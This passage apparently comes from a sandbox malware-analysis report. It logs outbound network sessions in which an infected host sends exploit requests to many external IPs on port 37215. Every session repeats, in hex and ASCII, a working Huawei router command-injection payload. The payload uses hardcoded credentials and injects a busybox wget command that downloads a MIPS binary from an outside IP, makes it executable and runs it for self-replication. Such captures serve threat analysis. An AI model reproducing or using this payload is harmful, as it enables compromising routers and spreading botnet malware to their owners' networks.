2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.15	45306	197.89.116.170	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.15	47276	197.233.147.184	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.15	40632	157.219.83.230	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.15	56992	41.242.148.168	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.437233925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.15	35152	41.244.25.122	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.437233925 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.15	57396	157.39.249.198	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.438134909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.15	59254	197.143.76.23	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.438134909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.15	40404	197.55.86.176	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.438134909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.15	54780	41.95.41.120	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.438134909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.15	48166	41.99.38.42	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.438615084 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.15	55676	157.222.177.45	37215

Timestamp	Bytes transferred	Direction	Data
